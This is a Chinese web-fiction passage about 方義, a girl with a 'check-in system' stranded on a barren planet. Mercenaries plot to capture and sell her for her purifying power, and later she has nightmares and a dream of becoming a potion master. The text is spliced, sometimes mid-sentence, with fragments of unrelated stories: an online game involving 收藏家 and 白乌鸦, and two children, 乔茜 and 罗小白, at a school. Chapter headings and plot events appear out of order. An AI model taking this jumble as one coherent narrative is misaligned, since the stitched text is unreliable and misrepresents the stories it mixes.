但放在新晋玩家八千棋局眼里，“收藏家”的脸色很冷漠，相当难以接近的样子——而且，首席猎人宋白玉，对她的态度非常之尊重。 他的微笑一时间有些僵硬，感觉有些无所适从，但依然努力自我介绍道。 “您好，我是八千棋局。”他的声音偏向于温润君子的音色，听上去像是清凉的溪水，“我恰好路过这条商业街，又看见这里好像开着灯，所以就想敲敲门看看有没有人……同为傀儡师，我非常仰慕您。” “……(゜ロ゜) ” 【衣服套装】 【说明：高温服（均码）X10，辐射服（均码）X10，保暖服（均码）X10，防护服（均码）X10……】 【包子套装（辐射值0）】 【说明：猪肉包X10，牛肉包X10，羊肉大葱包X10，虾仁包X10，三鲜包X10，青菜包X10，咸菜包X10，香菇包X10……】 衣服套装和包子套装里的东西倒是都不少，尤其是衣服套装，各类衣服俱全，应急使用倒是不错。 只是…… 从尸体签到地签到出来的包子，真的能正常食用吗？ 方義拿出一个猪肉包嗅了嗅，香味扑鼻，让人忍不住流口水。 签到系统出品，必然是良品。更何况这本就是无辐射的食材，光是瞧着便能猜到绝妙的味道。 可是看着这美味的猪肉包，方義一点儿食欲也生不起来。 她总是忍不住想起刀疤男血液和脑浆混在一块儿的那张脸，险些再次呕吐出来。 算了吧，还是不难为自己了。 方義默默地将猪肉包又放了回去，心里有些不舍。 这些可都是灵食呢，价格不便宜，难道就这么丢了？ 可是，不丢的话，自个儿吃，过不了心里这一关；要是卖给旁人，又忍不住觉得亏心。 忽的，方義的眼神动了动，想出了一个不错的好主意。 ——等以后和谁起冲突了，就可以请她/他吃包子！ ——香喷喷的大包子！从尸体位置签到出来的，还热乎着呢！ 可能是黑痣男三人的能力都挺差，没什么潜力。 那三个白色光点只签到一次便消失了，连重置的机会都没有。 签到完，方義也踏上了寻飞梭的路。 不过她一直开着【火眼金睛】观察黑痣男三人的行动，本就知道飞梭的位置，直接直线走了过去。 没走半分冤枉路，便直接抵达了目的地。 喊来了方杏与她会合，两人合作，动作利索地支起了大帐篷，然后灌了营养液闷头就睡。 实在是刚刚经历了那般的惊心动魄，一点儿胃口也没有，浑身上下的每个细胞都在叫嚣着要休息。 ···“所以，咱们就这么不管了？”刀疤男当然能理解队长的顾忌。 可是眼睁睁看着到手的鸭子就这么飞了，他心里还是非常的不甘心。 “不管，为什么不管？”鹰钩鼻嗤笑一声，眼中掠过贪婪和狠辣的光：“都一个多月过去了，也没闹出什么大事儿来，足见星舰上的贵女没什么背景。” 没什么背景，有个更厉害的仇人，孤立无援，被迫困在杳无人烟的荒星，偏偏还让他们遇见了。 这么多的巧合加在一起，不是上天赐给他们的“缘分”吗？ “老大，你是想……”哪怕刀疤男一向胆大，也被鹰钩鼻的决定吓到了，不安地舔了舔嘴唇。 那可是贵女哇！拥有净化能力的贵女！ “呵，贵女又怎么了？只能叹她时运不济。”鹰钩鼻故作同情，流了两滴鳄鱼的眼泪：“咱们保不住她，倒不如给她个痛快。” 刀疤男和黑痣男的眼底还是存着几分犹豫，鹰钩鼻加了最后一把火，双手比了个数字。 “上一次，我一个兄弟去了混乱星系的拍卖场，那场拍卖会的压轴物品就是一个一阶贵女，最后的成交价格是八千万信用点，用能量石结算。” 能量石是星耀帝国硬通货之一，像这种灰色地带，不太方便使用信用点，便都换成实物能量石。 金属性金曜石，木属性青曜石，水属性蓝曜石，火属性赤曜石，土属性棕曜石，以及无属性的黑曜石。 不同等阶的能量石都对应着不同的信用点，公开透明，还不会有被高科技追踪的危险。 八千万信用点！ 刀疤男和黑痣男都不由倒抽了一口凉气，眼底贪婪的欲-望难以掩饰。 那可是八千万信用点！他们辛辛苦苦几十年也不一定能攒到的数字。 一次性拿到八千万信用点，哪怕老大拿大头，他们到手的也是一个庞大的数字。 说不定可以找关系将户籍转到三等星，甚至能转入内城，搬到净化大阵里面居住。 一想到这里，刀疤男和黑痣男心中的最后一点犹豫也消失了。 能当佣兵的，都是胆大不怕死的。 不就是冒一点儿危险吗？成功了可是几千万的收益！还不用担心得罪人，没有任何后顾之忧！ “先把人找出来！”见说动了他们，鹰钩鼻的眼中闪过狠毒的暗光。 不过稍纵即逝，很快便又是笑呵呵的平常模样。 “是，老大！”刀疤男打了鸡血一样，激动地应了一声。 黑痣男也理智道：“这边的沙漠荆棘都被净化了，贵女一定离得不远。” 确定了大致范围，三人分头行动。 一直观察着三光点变化的方義很快发现了他们的行为。 ‘这么快就被发现了？’ 方義心中暗叹，但当看到黄色光点旁的若干小绿色光点时，她便明白了其中原因。 ‘是净化后的变异植物出了纰漏，大意了！’ 百密一疏，她到底不是星耀帝国土生土长的人，忘记了植物辐射值的问题。 但现在后悔也没有用了，得尽快想办法应对。 方義咬了咬唇，看着三个中立态度的黄色光点慢慢变成敌对态度的红色光点，警惕心提到了最高。 ‘冷静！冷静！’方義在心中不断地告诉自己：‘害怕是没有用的，以我和杏子姐的体质，逃跑肯定跑不过他们，只有随机应变，见机行事。’ 方義攥紧了胸前的五芒星吊坠空间器，缓缓地吐出一口气，长睫颤了颤，慢慢冷静下来。 她们躲避的地方虽然还算隐蔽，但终究瞒不过老谋深算的佣兵。 没一会儿，LV28的那个红色小点就接近了方義和方杏藏身的沙草丛。 随着沙草被拨动的簌簌声响，方杏紧张地睁开了眼，额头上浮现大颗汗珠，下意识抓紧了方義的手。 忍着慌张和恐惧，她努力镇定地看了方義一眼，似乎在说“别害怕”，但自己手心却湿腻腻的一片冷汗。 方義也反握住了她的手，轻轻晃了晃以作安抚。 又一丛沙草被拨开，一张带着刀疤和鲜血的脸出现在了方義和方杏面前。 瞧见面前两个模糊的身影，刀疤几乎是反射性地高声喊道：“老大，我发现她们了！” 他的脸色因为激动而涨红，扯着喉咙大喊，双手都在兴奋得颤抖。 找到了！ 鹰钩鼻动用了异能，身形飞掠，短短几个呼吸间便出现在了刀疤男身旁。 黑痣男也紧随其后，跑得大汗淋漓、呼吸急促，直勾勾地盯着沙草丛中的两个女人。 方義和方杏两人脸上都糊了灰，看不清五官，却能看见她们纤细窈窕的身姿。 头发乌黑柔顺，腰肢纤细，哪怕身上穿的只是一身灰扑扑的运动服，却掩不住周身气质。 是女人！竟然有两个！至少一个还是贵女！ 黑痣男和刀疤男片刻间便屏住了呼吸，湿腻腻的眼神黏在方義和方杏身上舍不得移开。 哪怕心中做过再多预期，亲眼看见的时候还是止不住震撼。 星耀帝国的男女比在3:1左右，但大部分女性生活在宜居星球，边缘星系的男女比接近6:1。 更别提刀疤男他们是佣兵，佣兵团体才是真正的阳盛阴衰，男女比极其夸张。 他们小队的收益还算不错，但常年在鸟不拉屎的荒星，唯有回边缘星系修整的时候，才能狠狠心花大价钱泄一次火。 只是他们能出得起价格的，大多是上了年纪的样貌普通的女人，何曾见过这样水灵灵的少女？ 刀疤男和黑痣男眼中的淫-邪之光明显，方義和方杏都忍不住打了个寒战。 方杏反射性地护在了方義的身前，像是只护崽的老母鸡，恶狠狠地道：“你们想干什么？” “我告诉你们，我们小姐可是出身二等星的贵女！我们夫人更是七阶贵女，军中少将！要是你们胆敢伤害我们，一定会吃不了兜着走！” 放完了狠话，方杏又缓了语调，赤-裸裸地以利诱人：“当然了，要是你们能将我和小姐安全地护送回家，好处也是绝对少不了的！” 软硬结合，威逼+利诱，方杏说得信誓旦旦，让人忍不住信服。 “噗呲——”利刃刺入血肉的声响，面色狰狞的男人五官扭曲，沉沉地砸了下来。 鲜血像是喷泉一样喷涌而出，尽数溅落到她的脸上，层层叠叠的鲜血堆积，浓郁滚烫的血腥味令人作呕。 一偏头，那张双目凸出、死不瞑目的男人脸与她只有咫尺之遥，仿佛在死死地盯着她，充斥着怨恨与不甘。 方義猛地惊醒，背后湿淋淋的，睡衣被汗水浸湿，黏腻地贴在身上，额头上汗珠晶莹，一副惊魂未定的模样。 原来只是一场噩梦，都已经过去了，黑痣男他们三都死了，尸体都烧干了，只剩下几根骨头。 方義的神色有些恍惚，下意识地捞了把旁边的青蛋，将它紧紧地抱在怀中，沉默地平静着翻涌的情绪。 “小義醒了？”方杏掀开帐篷走了进来，脸色残存着些许苍白，笑容却是和煦而柔缓的。 “做噩梦了？”她说的是疑问句，语气却是肯定的，手里拿着瓶浅色的药剂。 “这是一阶安神药剂，现在时间还早呢，你喝了药剂，还可以再休息一会儿。” 方義看了眼时间，现在时间确实还早得很，距离她们平时起床的时间还有好几个小时。 外面的天空还是昏沉沉的，繁星缀在天幕上。 可这么早的时间点，杏子姐怎么就起来了？而且，还准备好了一阶安神药剂。 她记得，她们的空间器里并没有相关的库存。 似是看出了方義眼神中的疑问，方杏不好意思地笑了笑，轻声道：“嗯，我也做了噩梦。” 方義害怕，方杏又何尝不害怕？ 她的心理素质甚至还不如方義，受到的惊吓更狠。 毫不夸张的说，这是方杏第一次近距离地直面死人，第一次亲手开枪杀人。 到现在，她都有些惊魂未定，双手颤抖。 但方杏害怕之后，第一个想到的就是方義。小義也受惊了，见到的惨状更为可怖，是不是也会做噩梦？ 于是，睡不着的方杏索性下了床，在旁边的小帐篷里炼制起了一阶安神药剂。 也是她运气不错，经过这一次生死的磨炼，精神力强度增长了不少，炼制药剂的成功率也增加了。 忙活了一个多小时，方杏成功地炼制出了两瓶一阶安神药剂。 一瓶她自己喝了看看效果，另一瓶则拿进来递给了方義，希望能有所帮助。 “谢谢杏子姐，我刚好需要这个。”方義心底的恐惧消散了不少，弯眉露出了一个依赖而感激的笑容。 她的嗓音微微有些干涩，却是柔软而欢喜的，清澈如流水，令人忍不住心软。 一阶安神药剂入口是冰凉的，流过五脏六腑，像是一把扫帚扫去了心头的尘埃。 不知道是一阶安神药剂的作用还是心理作用，方義的第二觉香甜许多。 一觉睡到自然醒，火辣辣的太阳已经高悬在天空中央。 洗漱完，换衣服出了帐篷，方杏还在睡，方義没打扰她，而是去了飞梭这边。 一瓶营养液足以维持一天能量所需，她并不感到饥饿，只想尽快了解飞梭相关，在最短的时间内回到宜居星球。 这次能死里逃生，有鹰钩鼻男人他们先内讧、自相残杀的原因，也有一点幸运的玄学因素。 方義可一点儿也不想再经历一遍，检验一下自己是否还有这样的好运气。 飞梭都有自动驾驶模式，方義打开了飞梭内部自带的星图，成功地搜索到了“三等星X-7899”。 【目的地：三等星X-7899（可抵达），全程大约23个小时，祝您旅途平安。】 佣兵小队的这架飞梭虽然配置一般，但是速度还是蛮快的，和民用星舰的速度也差不了多少。 方義记得，原主和杏子姐乘坐的那架星舰，好像也是在距离三等星X-7899大约23个小时路程的时候出的意外。 之后，乘客们乘坐逃生舱逃生，虽是选择的不同的方向，但都遵循着就近降落的原则，毕竟逃生舱的能源有限。 但既然说是收藏家给的，那应该没什么问题…… “噗——”江簌险先一口水喷出来，满脸震惊，不可思议地盯着手里看似樱桃柠檬茶，味道实则加入三十罐辣椒一般的……穷极版辣椒水。 所有玩家正要喝茶的动作一顿，连沉静的秦淮月，脸上也露出一丝诡异的犹豫。 宋白玉努力忍着笑，正色道：“你们几个记得喝完，收藏家说这是特地给你们准备的。” 江簌沉默半响，问：“我能不能去分给其他人？” “也不是不行。”宋白玉贱兮兮地说，“你至少得喝完手上这杯。” 四名受害者恍惚地对视一眼，有一瞬间怀疑自己是不是有个什么亲戚，在他们不知道的情况下得罪了收藏家。 第 93 章 第 93 章 方羲睡到第二天十一点才起床。 【玩家“白乌鸦”登录中……】 【登录成功。】 【你目前为隐身登录状态，可随时进行切换。】 方羲回到了个人空间，想了想，顺手改成正常的在线状态……她忽然想起昨天宋白玉和八千棋局的闲聊。 好像连前百名的新晋玩家，最近一段时间也异常忙碌。 方羲的手微微颤抖，现在临时改回来还来得及吗？不过“白乌鸦”的身份，也没什么知名度可言，她大可以早点立一个叛逆头子的形象…… 切换黑天鹅的账号界面，白乌鸦的后台不过寥寥几条，全是【黑天鹅001】的例行询问。 “各人有各人的缘法，小義，能遇见你，我真的觉得自己很幸运。” 洛玉轻轻拍了拍方義的肩膀，含笑的声音温柔。 这话是什么意思！ 方義心中一惊，猛地抬头去看洛玉，却见她笑方如花，明亮的眼神中带着不舍和留恋，还有淡淡的释然。 “阿玉……” 【黄粱一梦】不是只是一个简单的幻境吗？看洛玉的表现，怎么像是知晓了什么？ 幻境是真实存在的？还是这一切，只是独属于她一个人的梦？ 方義有千言万语想说，但时间已经来不及了，签到系统面板上，【黄粱一梦】已经进入了最后一分钟的倒计时。 【60,59,57,58……5,4,3,2,1，【特殊物品：黄粱一梦】关闭中……】 【【特殊物品：黄粱一梦】关闭成功！】 随着系统播报声音的提示，整个世界开始寸寸湮灭。 最后一刹那，方義只看到了洛玉含笑的温柔表情，唇瓣微动，无声地说了两个字。 ——珍重！ 方義只觉得自己的灵魂像是被塞进了老式滚筒洗衣机里面，天旋地转，不知道旋转了多少圈，大脑发晕作呕。 【系统警报：您的精神力已超越体质承载上限￥%@#￥&*@】 【系统警报：您的精神力已超越体质承载上限￥%@#￥&*@】 【系统警报：您的精神力已超越体质承载上限￥%@#￥&*@】 签到系统面板出现鲜红色的警告行，但方義陷入晕眩剧痛中，压根给不了任何回应。 【检测到宿主生命垂危，采取紧急措施：封存相关记忆，是否同意？】 【相关记忆封存中……记忆封存成功！】 像是一阵清风拂过脑海，那些繁杂的记忆如点点繁星般出现在签到空间中。 与此同时，那股难以忍受的晕眩胀痛也逐渐消失，方義下意识惊醒，背后湿淋淋的，一身冷汗。 “我……”她的眼神中还带着些许茫然，下意识抵了抵胸口，只觉得那里闷闷得疼，充斥着酸涩和不舍。 可具体酸涩不舍的原因，她却记不太清了。 甚至连【黄粱一梦】中的一幕幕经历，都好像被笼罩在了一层薄雾中，朦朦胧胧的。 反倒是那些翻来覆去的炼制药剂经验，深深地镌刻在脑海里，活灵活现。 拉开个人面板，果不其然，技能那一行产生了新的变化。 【技能：净化师（二阶），药剂宗师（九阶），火眼金睛】 【技能：药剂宗师（九阶）】恰好，方義和洛玉都是不折不扣的肝帝，炼制的药剂大都是上品，效果极好。 于是，谢戈和谢别寒便经常从她们那里采购药剂。 尤其是方義和洛玉的等阶越来越高，炼制的药剂品类越来越丰富，甚至还研发出了不少效果极佳的新品，帮了谢戈和谢别寒大忙。 谢戈和谢别寒比方義和洛玉高了三级，他们毕业于帝国第二军校，又是谢家嫡系子弟。 军校一毕业，他们便顺理成章地进了帝国第二军团，获得了上尉军衔。 等方義和洛玉毕业时，他们已经成功地升至中校，掌管一支队伍。 星耀帝国军团的主要职责分为两大部分，一是守护内部安定，二是对外防御和探索。 谢戈和谢别寒年轻气盛，又都是实力强大的异能者，带领的军队主要负责的就是对外探索这一部分的任务。 还未被发现、开拓的荒星资源丰富，上面生存各种各样的动植物。 包括危险性极高的变异动物和虫族，也包括功效神奇的灵植，对于药剂师来说，是极佳的原材料。 考虑到这一方面，再加上她们和谢戈、谢别寒的关系一直不错，方義和洛玉几乎没怎么犹豫，就在毕业后进了谢戈、谢别寒的队伍。 当然，她们两人作为六阶药剂大师，非常受军方的欢迎，起步军衔便是少校。 银装素裹的冰雪星球、百花盛开的自然星球、处处是高耸如云的参天古木的绿色星球…… 方義、洛玉的足迹遍布瑰丽神奇的荒星，见证了许多令人目眩神迷的壮阔之景。 与此同时，读万卷书不如行万里路，六年的学院生活为她们打下了坚实的理论基础，而后几十年的探索和实践，则成为了她们腾飞的阶梯。 二十年后，谢别寒和谢戈的异能接连突破九阶，凭借着赫赫战功升为星耀帝国最年轻的少将。 方義和洛玉也顺利地成为了九阶药剂宗师。 二十年的风风雨雨，四人经历了无数险要的生死关头，无数次交托后背，说一句情比金坚也不为过。 【九阶回生药剂（上品）炼制成功，炼制药剂经验+1000，您从八阶药剂师升级成为九阶药剂师】 【您的药剂等阶已与洛玉不相上下，【黄粱一梦】将于半小时后彻底结束】 流光溢彩的鼎炉内，一团萦绕着金光、看起来就极为不凡的药剂盘旋其中。 装入药剂瓶的过程中，还可以清晰地感受到浓浓的生命气息，只是嗅闻刹那，便觉得神清气爽、沉疴尽消。 而就在药剂炼制的同时，系统的提示音响了起来，方義握着药剂瓶的手指紧了紧。 “小義，九阶回生药剂炼制成功了？”洛玉笑容灿烂地推门走了进来。 看见方義手中淡金色的药剂时，她真诚地竖起了大拇指，满是惊叹之意。 药剂已经装瓶，但空气中仍然萦绕着沁人心脾的药香味。 不愧是九阶回生药剂，不说具体效果如何，单说卖相，便能在洛玉见过的所有药剂中名列前三。 洛玉心中钦佩，没想抬头时，却发现方義面上并无喜色，而是怔楞失神，十分复杂。 “小義，怎么了？”洛玉有些不解。 “没什么。”方義回神，认真地看了洛玉一眼，轻声道：“就是舍不得。” 若不是洛玉的毫无藏私、倾囊相授，哪怕有签到系统的经验值加点，她也绝对不可能在这么短的时间内晋升成为九阶药剂宗师。 “有什么好舍不得的？天下没有不散的筵席。”洛玉的神色也有片刻的复杂。 那双明亮的眼睛里似乎掠过点滴星光，但很快便又是纯粹而明媚的笑方。 “对了，阿戈和别寒哥前段时间接了个探索高危荒星的任务，刚好是今天出发，咱们现在过去，还能送送他们！” 还没等方義反应过来，她便被洛玉风风火火地拉上了悬浮车，一路风驰电掣，险险地赶上了谢戈和谢别寒两人。 因为马上就要出发，他们都穿了淡青色的修身作战服，勾勒出完美挺拔的身材。 “小義药剂炼制成功了？”一见到方義和洛玉的身影，谢戈便眉飞色舞地挥了挥手，喜悦之情溢于言表。 谢别寒的眉眼间也添了几分浅淡的笑意，并不明显，却温和得好似春水潺潺。 “可不是！咱们特意过来分享这个好消息，顺便和你们告别，耽搁一分钟时间。”洛玉朝着谢戈眨了眨眼。 “好说！好说！”谢戈立马心领神会，笑嘻嘻地揽着洛玉往旁边退了几步，将空间让给了谢别寒和方義两人。 谢戈和洛玉早在十几年前便确认了恋爱关系，两人的感情一直都非常甜蜜。 但谢别寒和方義之间，却停留在了友谊以上、恋情未满的状态。 谢别寒从未开口诉说，方義也好似在顾忌着什么，没有踏出最后一步。 只是无数次生死与共，两人之间的默契远非常人能比。 谢别寒率先打破了沉默，温声道：“你突破了九阶，我还没来得及准备贺礼，等回来了再补给你。” 他目不能视，但专注而认真的“视线”，总是给人一种珍重而柔情的感觉。 “谢谢！”方義定定地看着他温和俊美的面容，顿了顿，忽的踮脚，轻轻地拥住了他。 这拥抱只停留了几秒，但在虫潮面前仍然冷静淡定的谢别寒，却像是被点了穴道一样僵硬。 没等谢别寒回神开口，方義便将自己刚炼制出的九阶回生药剂塞给了他，展方轻笑。 “谢别寒，很高兴能遇到你，愿你一路顺风。” 如果以后有机会在现实中遇见，也许她会把圣阶明目草卖给他？ 目送着星舰离开，方義转身，看见了洛玉挤眉弄眼的促狭眼神：“怎么，舍不得？” 洛玉本是打趣，没想方義却认真地点了点头，坦然道：“嗯，确实有点舍不得。” 少年慕艾，谢别寒模样俊美，气质温和，护她良多，她确实有几分心动，舍不得也是人之常情。 但方義最放不下的，还是面前的洛玉。 “阿玉……”方義紧紧地抱住洛玉，下巴靠在她的肩膀上，张了张唇，却说不出道别和祝福的话。 她不知道谢别寒的现况。 但星耀帝国的人均寿命在一百五十岁左右，谢别寒异能突破了九阶，寿命更是能达到千岁。 若是没有意外，他必然还平平安安地活着。 可是洛玉…… 【注意：由于体质和精神力的限制，你的等阶虽然达到了九阶，但最多只能炼制四阶药剂。】 看到上面的提示，原本心脏酸胀的方義很快开心起来，轻轻地舒了一口气。 她本来还想着，【特殊物品：黄粱一梦】是怎么一回事，怎么就带来了生命危险，还模糊了一整段记忆？ 但现在看看，一切都是值得的！ 一夜之间，从药剂零基础蜕变为九阶药剂宗师，哪怕炼制的成品有等阶的限制，但也足够令人激动了。 那可是九阶药剂宗师！差不多是她技能里面最强大的那个！ 简直是坐着火箭升级！不对，坐了火箭都没有这么快！ 察觉到方義醒来，青蛋主动地滚了过来，亲切而依恋地贴了贴。 爱屋及乌，此时的方義看青蛋，真是怎么看怎么欢喜，怎么看怎么觉得它帅气漂亮。 你瞧瞧这蛋壳，多么的光滑圆润！你瞧瞧这方色，纯粹的天青色，浓淡适宜！还有着椭圆的形状，多么的眉清目秀啊！ “乖啊！”方義遵从本心，朝着青蛋亲了一大口，又输入了些灵力进去，这才抱着它下床洗漱。 听到里面有动静，方杏端了温水和干净的毛巾进来：“小義，起来了？” “嗯，杏子姐你起得好早！”方義把青蛋搁在旁边的软椅上，刷牙洗脸，乖巧甜美地朝着方杏笑了笑。 她生得漂亮，肤白唇红，如清水出芙蓉，天然去雕饰。 此时黛眉弯弯，清澈透亮的杏眸里好似蕴着揉碎了的星光，美得灵动。 面上水珠晶莹剔透，更衬得肤若凝脂，额前的刘海湿漉漉的，却不显得狼狈，只让人忍不住心软。 这是怎么了？出了这一身的汗？ 因为水属性蓝曜石的降温功效，帐篷里的温度适宜，不怎么太热呀。 方杏把拧干的温毛巾递给方義，担心地试了试她额头的温度：“生病了？有什么不舒服的吗？” “没有。”方義擦拭着脸上的水珠，迟疑了片刻，坦诚道：“就是做了个梦。” “是噩梦？”方杏接过毛巾放进水盆里，不由泛起心疼来。 这些天，小義整日的在外探索，虽然面上没表现出来什么，但压力和恐惧都藏在心里呢。 也是她没本事，帮不上小義什么忙。 日有所思，夜有所梦，可不就做了噩梦！ 瞧着方杏脸上出现浓浓的自责，方義哭笑不得，心里却暖暖的。 她挽着方杏的手臂靠在她的肩膀上，软声道：“不是噩梦，是美梦。” 还是一个很美的梦。 “是吗？梦到了什么？”见方義的眼神中盈满温情和怀念，方杏知道自己是误会了，好奇地开口询问。 难道是梦到了夫人？梦到了在水蓝星的曾经？ 方杏的心中出现了好几个猜测，没想方義却摇了摇头：“不记得了。” “不记得也正常，做梦嘛，经常醒来就忘了。”方杏没多想，柔柔地抚着方義乌黑柔顺的长发。 “小義，早餐已经准备好了，是蛋羹和荆棘果，要去吃吗？我刚刚尝了一个，荆棘果还蛮甜的。” 别听荆棘果名字一般般，但味道是着实不错，尤其是经过方義灵力净化之后。 外表虽然有些疙瘩，但剥开外皮，内里的果肉剔透水嫩，汁水饱满，吃起来的口感有点像新鲜的甜荔枝。 方義爱极了这个味道，刚巧签到系统签到了不少，几乎每天早餐都少不了它。 “要！真的太感谢杏子姐啦！要是没有你，我可真不知道怎么办才好！只能顿顿可怜巴巴地喝营养液，想想都觉得惨。” 方義笑盈盈地卖萌，倚靠在方杏的肩膀上舍不得离开，一双杏眸又黑又亮，仿佛映着涟涟春水。 她怎么能因为光辉太过耀眼，而懦弱地停滞不前呢？ 但还是希望真实试炼早点举行。 因为踏樱又想起“收藏家”生命值归零的瞬间，还有战后那几个自责崩溃的首席造梦家。 如果是她的话，怎么会让白鸦在战场上死亡呢？踏樱轻慢地想。 第 94 章 第 94 章 “按照常规流程，你这么久才回来上线，黑天鹅应该会来人确认一下你的状态。如果没什么问题的话，就会正常给你发布任务。” 踏樱想到方羲游戏时间不长，力量身份又异于新晋玩家，加上本人随意跳脱的性格，恐怕到现在也不知道一个新晋玩家的正常生活是什么样，便解释了几句。 方羲的表情瞬间有些郁郁不乐。 “放心吧，想必没人会强迫你。”踏樱无奈地说，“而且你自己不是说了吗？只是来帮我！” 踏樱忽然想到什么，脸上的微笑微微一凝。 九月份的时候，乔茜与罗小白共同入学了十六区专门设立的集成化素质教育学院，这所学院是专门帮助一些困难儿童重返社会的福利性学院，按照教学内容与路线来看，涵盖了从小学到高中二年的全部教育课程。 如果孩子们在学院内学习顺利的话，那可以在高三那年入读正常高中并参与到大学的选拔考试中去。 原本按照乔茜与罗小白的年龄，她们已经可以上到初中，但毕竟两人的基础知识落后太多，因而校长特意先把两人安排进了小学六年部上课，并承诺，如果两人能够完成对应年级的考试，就可以升学到对应的年级就读。 但好在乔茜还在小白的身边，敏锐的察觉到小白的不对劲之后，乔茜开始将课本上的内容与他们即将要上的课程和小白一起进行一个梳理，重整信心之后，小白看上去果然自信多了。 “按照我们的年龄，我们现在应该是几年级？”小白问完这句话之后，乔茜看了看手边的书籍和内容，告诉小白，她不想落后那么多，她想早点上大学。 “为什么？”小白不解，“只是，这附近植物的辐射值实在太低了些，几乎全都是灵植。” 黑痣男打开光脑，对着面前的一株沙漠荆棘扫了扫。 光脑很快响起机械音介绍：【沙漠荆棘，一阶，攻击性不强，无危险性，出产的荆棘果可食用，当前辐射值：5】 5？沙漠荆棘的辐射值只有5？！这怎么可能？！ 所有生灵的辐射值都是以100计，60是及格线。 60~70之间属于危险，70~80之间属于中度危险，80~90之间属于重度危险。 到了90以上，那就是极度危险，异能者甚至没办法保持完整的人形，呈现半人半兽状态，开始逐渐失去理智。 辐射值还会影响食材的口感。 食用辐射值高的食材，不仅难以下咽，还会导致体内辐射的大量堆积，百害而无一利。 因此，唯有在宜居星球，在净化大阵作用范围内，才可以正常地种植、养殖，收获低辐射食材。 鹰钩鼻小队都是边缘星系的居民，而在边缘星系，低辐射食材价格高昂。 也只有在大赚了一笔的时候，他们才能痛痛快快地消费一回。 帝国相关研究所做过专门的研究，辐射值低于60的食材均可食用，被称为自然食物。 只是这样的食物虽能吃，却不好吃，长时间食用仍会堆积辐射。 唯有辐射值在10以下的食材，原本的口感并不受影响，还不会造成辐射的累积，被称为灵食。 辐射值只有5的荆棘果，无疑是当之无愧的灵食，还是品质极高的那种，怎么会出现在荒星？ 要知道，这颗荒星距离三等星X-7899并不远，早就被帝国军团和佣兵发现了。 只是因为实用价值不高，所以并没有被开采，都没被纳入边缘星系范围。 若不是他们被追杀得慌不择路，也不会选择进入这颗荒星。 但现在，他们居然在这里发现了灵食？还不是一株两株，而是一大片？ 鹰钩鼻男人和黑痣男对视一眼，都下意识握紧了手中的枪-支武器。 不对劲！太不对劲了！ 刀疤男倒是纯粹的高兴：“这不是好事儿？这可是灵食，我都多久没吃上了！” 一边说，他还一边馋口地咽了咽口水，开了光脑对准了脚边的一株沙漠荆棘。 听到光脑响起【辐射值6】的提示，他迫不及待地摘了一颗荆棘果，狼吞虎咽地吃了下去，脸上写满了享受。 “真甜！真好吃！这就是灵食的味道吗？妈的，我上次在水果店里买的一颗荆棘果，辐射值46，又酸又涩，还他妈的收了我10信用点！” 刀疤男骂骂咧咧的，嘴上说着脏话，倒是没影响他的动作。 没一会儿功夫，就吃下去五六颗荆棘果，这才意犹未尽地停下，眼神里还带着不舍。 “算了算了，过个嘴瘾就行了，这些可是灵食，卖出去能赚不少钱！” 刀疤男从飞梭上取了个容器下来，利索地摘了荆棘果往里面放，越摘越起劲儿，忍不住掰着手指计算能赚的钱。 没想一转身，却看见老大鹰钩鼻和黑痣男压根没摘果子，而是警惕地睁着眼睛在附近搜寻。 刀疤男：“？？？” 刀疤男迷茫地停了下来，不解地问：“老大，你们这是在干嘛？” “蠢货！”鹰钩鼻男人做了个噤声的手势，压低了声音道：“你感受一下周围的灵气，这是灵食生长的环境吗？” 周围的灵气？ 刀疤男一愣，仔细地感受了一下，又打开光脑探查了一遍。 【当前空气辐射值：56。】 56？周围的辐射值达到了56，怎么可能长出辐射值10以下的沙漠荆棘？ 刀疤男后知后觉地发现了不对劲，面色乍变，充满了难以置信，手里的荆棘果差点都摔在了地上。 “这……这……”刀疤男结结巴巴的，捂住了嘴巴才控制住了脱口而出的惊呼。 黑痣男点了点头，眼神里多了些迫切的兴奋之意：“没错，唯一的可能就是……” 这附近有贵女出现！是贵女出手净化了这些沙漠荆棘。 “那咱们不是赚大发了！救了一个贵女，那是多大的功劳！” “别说还有贵女本人的人情了，以后咱们哪里还需要为了一瓶二阶净化药剂卑躬屈膝的！” 刀疤男激动得快要跳起来了，身上还在流血的伤口都顾不得了。 因为动作幅度过大，原本止血的伤口再次崩裂，血流不止，他却察觉不到一点疼痛般，红光满面。 “你怎么不想想，为什么会有贵女出现在荒星？”相比而言，队长鹰钩鼻男人便要冷静很多。 他见多识广，一针见血地指出了其中关键，神色冷酷。 “也是，这不合理。”刀疤男粗黑的眉毛皱在了一起，怎么也想不明白。 贵女地位多尊贵，怎么会出现在这偏僻的荒星？甚至还闲到来净化这些没什么价值的低阶变异植物？ 要知道，哪怕是他们队长，一名三阶异能者，到现在也没能捞到一次被贵女治疗的机会。 想到这里，刀疤男看面前这些沙漠荆棘的眼神都变了，带了些羡慕嫉妒和不甘。 妈的，真是不公平，这些个杂草都比他走运。 刀疤男想七想八，黑痣男却一下子明白了鹰钩鼻的意思：“老大你的意思是说，这名贵女的身份很可能有问题？” “不对，不一定是有问题。”黑痣男摇头否定，自顾自地分析道：“X-7899星球……我记得，前段时间是不是有架飞往这里的星舰遇到星际风暴了？” “嗯。”鹰钩鼻给了他一个赞许的眼神：“没错，而且这次事故并没有表面看起来这么简单。” 鹰钩鼻男人顿了顿，直到黑痣男和刀疤男两人都看了过来，他才缓缓解释道：“我从旁人处听说了些风声，是上面的人动的手。” 鹰钩鼻指了指天空，面上皆是忌惮之色。 敢对贵女动手的，要么是更高等阶的贵女，要么出身极高。 但无论是哪一种，都不是他们这些无权无势的小佣兵队能招惹得起的。 别没赚到什么东西，反而稀里糊涂得被卷了进去丢了性命，那可就是得不偿失了。 乔茜笑得贼兮兮的告诉小白，因为奖学金够多啊，不仅有奖学金、助学金、特别补助金、最重要的是可以参加各种比赛，而比赛所设置的奖金也很多，甚至于就连优秀奖都能够有奖品。 罗小白看着乔茜调出来的页面，眼睛都直了，瞬间坚定信念：好好学习，早上大学。 一时间，乔茜和罗小白都无比勤奋，这让项俞生和罗扬都显出几分不知所措，他们原本以为脱离了战后星那个艰难的生存环境，这两个人会逐渐放松下来，至少，先享受一下难得的生活吧。 谁知道这两人，那是更加勤奋了，不仅周末都把自己关在房间里学习，甚至，连朋友都没有交上一个。 罗扬见状立刻打着“关爱未成年人心理健康”的名头，直接大包小包带着罗小白住到了项俞生的家里。 项俞生那是嫌弃又找不到正当理由拒绝，只得默许了罗扬的行为。 